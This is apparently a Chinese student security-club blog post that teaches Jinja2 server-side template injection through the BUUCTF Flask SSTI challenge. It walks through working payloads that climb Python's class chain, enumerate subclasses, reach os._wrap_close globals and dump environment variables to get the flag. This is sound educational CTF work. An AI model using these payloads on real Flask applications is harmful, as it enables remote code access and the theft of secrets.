网安社团周报 Week4 - SSTI(模板注入)

网安社团周报 Week4 - SSTI(模板注入)
Xiaozhi_z经常用AI做这个类型的题 但是不太懂背后的原理 正好趁着周报学习方向是这个学一下下!
理解 SSTI
什么是SSTI(模板注入)
SSTI(Server-Side Template Injection,服务器端模板注入) 是一种安全漏洞,攻击者可以通过向模板中注入恶意代码,在服务器端执行任意命令。
简单来说,就是当网站使用模板引擎(如Jinja2、Twig、Freemarker等)渲染用户输入的内容时,如果没有对用户输入进行严格的过滤和验证,攻击者就可以通过特殊的语法注入模板代码,从而控制模板的执行逻辑。
SSTI的危害有多大?
SSTI的危害取决于模板引擎的功能和沙箱环境,可能造成:
- 信息泄露:读取敏感文件(/etc/passwd、配置文件等)
- 命令执行:在服务器上执行系统命令
- 反弹Shell:获取服务器的控制权
- 内网探测:利用服务器作为跳板攻击内网
- 数据篡改:修改数据库内容
常见的Python模板引擎
| 模板引擎 | 使用框架 | 语法特点 |
|---|---|---|
| Jinja2 | Flask, Django(可选) | {{ }} 表达式,{% %} 语句 |
| Mako | Pyramid | ${ } 表达式,<% %> 语句 |
| Tornado模板 | Tornado | {{ }} 表达式,{% %} 语句 |
| Django模板 | Django | {{ }} 表达式,{% %} 语句 |
继承关系
基础概念
在理解SSTI漏洞利用原理之前,我们需要先了解Python中类、对象和继承的基本概念。因为大多数SSTI的payload都利用了Python的MRO(Method Resolution Order,方法解析顺序)和继承链来获取危险函数。
1 | class Animal: |
在这个例子中:
Animal是父类(基类)Dog是子类(派生类),继承了Animal的所有属性和方法dog是Dog类的实例对象
Python中的类继承体系
Python中所有的类都有一个共同的祖先——object类,关系图大概如下
1 | object |
重要概念:
- 任何类都直接或间接继承自
object - 实例对象可以通过
__class__属性找到它的类 - 类可以通过
__bases__属性找到它的父类 - 类可以通过
__mro__属性查看继承链
SSTI中常用的魔术方法
理解什么是魔术方法?
在SSTI利用过程中,我们经常使用以下魔术方法来”向上爬”继承链:
| 魔术方法 | 作用 | 示例 |
|---|---|---|
__class__ |
返回当前实例所属的类 | "".__class__ |
__bases__ |
返回类的父类组成的元组 | "".__class__.__bases__ |
__mro__ |
返回类的继承顺序元组 | "".__class__.__mro__ |
__subclasses__() |
返回类的所有子类列表 | object.__subclasses__() |
__globals__ |
返回函数所在全局命名空间的字典 | func.__globals__ |
__builtins__ |
返回内置函数和异常的字典 | __builtins__ |
用一个简单的代码理解继承链:
1 | # 创建一个字符串对象 |
输出结果如下
1 | # 查看字符串对象的类 |
继承关系可视化
1 | object (根类) |
万物皆对象
- 字符串
"Hello SSTI"是一个对象 - 它的类
str也是一个对象 - 根类
object也是一个对象
根类连接万物
object有173个子类(包括str、int、list等)- 通过这些子类,我们可以访问到Python环境中的所有类
概念听不懂?以CTF题学习SSTI原理 - BUUCTF [Flask]SSTI
后端代码含义
打开网页如下图所示 会回显Hello Guest

查看一下后端的代码 来了解一下原理
1 | from jinja2 import Template |
代码逐行分析:
name = request.args.get('name', 'guest')- 从URL参数中获取
name的值,如果没有提供则默认为’guest’ - 例如:访问
/?name=张三,那么name = "张三"
- 从URL参数中获取
t = Template("Hello " + name)漏洞点- 这里使用字符串拼接创建模板:
"Hello " + name - 如果name是普通字符串,比如”张三”,那么模板就是
"Hello 张三" - 但如果name中包含模板语法,比如
{{7*7}},那么模板就变成"Hello {{7*7}}"
- 这里使用字符串拼接创建模板:
return t.render()- 渲染模板,执行其中的模板代码
关于Python表达式
表达式是Python代码中可以计算出值的任何片段。简单来说,就是”有结果”的代码
在Jinja2模板的{{ ... }}中,可以写任何有效的Python表达式,但不能写语句。
例如可以写的表达式有
1 | {{ 7 * 7 }} # 算术表达式 |
不能写的(语句)
1 | {{ x = 5 }} # 赋值语句(不能写) |
开始解题!
测试是否存在SSTI漏洞
先访问访问 /?name={{7*7}} 发现回显49 确认存在SSTI漏洞

理解利用链的思路
我们的目标是命令执行,但直接写{{os.system('ls')}}是不行的,因为:
- 模板环境中默认没有导入
os模块 - 我们需要从已有的对象出发,找到可以执行命令的方法
思路:从任意对象开始 → 找到它的类 → 找到父类(object) → 找到所有子类 → 在子类中寻找可以执行命令的类(如os._wrap_close、subprocess.Popen等)
尝试进行查类
尝试访问 但是回显如下
1 | ?name={{%20[].__class__.__base__.__subclasses__()}} |
这个payload理论上应该返回所有子类

打开F12可以看到所有的类都显示出来了 只不过可能因为是网页是层级关系显示的 而且没有索引号
没办法直接通过类名访问 但是可以通过索引号访问 所以一般情况查到类名之后就要去查索引号

可以通过以下方法实现顺带着查询索引号
没错 这个也可以使用for循环!
1 | ?name={% for c in [].__class__.__base__.__subclasses__() %}{{ loop.index0 }}:{{ c }}<br>{% endfor %} |
| 代码片段 | 含义 | 作用 |
|---|---|---|
{% for c in ... %}` | **for循环语句** | 遍历子类列表中的每一个类,赋值给变量`c` |
| `[].__class__.__base__.__subclasses__()` | **获取所有子类** | 从空列表出发,找到object基类的所有子类 |
| `{{ loop.index0 }}` | **输出当前索引** | `loop.index0`是Jinja2内置变量,表示当前循环次数**从0开始** |
| `:` | **分隔符** | 让输出格式为 `索引:类`,便于阅读 |
| `{{ c }}` | **输出当前类** | 显示当前遍历到的类 |
| ` |
结束循环 | 标记循环结束 |

然后搜索一下os. 就能看到索引为117!

拿到索引号使用getflag
先确认 117 确实是 os._wrap_close
1 | ?name={{ [].__class__.__base__.__subclasses__()[117].__name__ }} |
返回 发现没问题!

查看这个类所有可用的全局变量
1 | ?name={{ [].__class__.__base__.__subclasses__()[117].__init__.__globals__.keys() }} |

我们找到其中的 environ 查询环境变量 因为ctf中很多时候环境变量里面就有flag 就不用比较麻烦的去别处找了
1 | ?name={{ [].__class__.__base__.__subclasses__()[117].__init__.__globals__.environ }} |
成功Getflag!

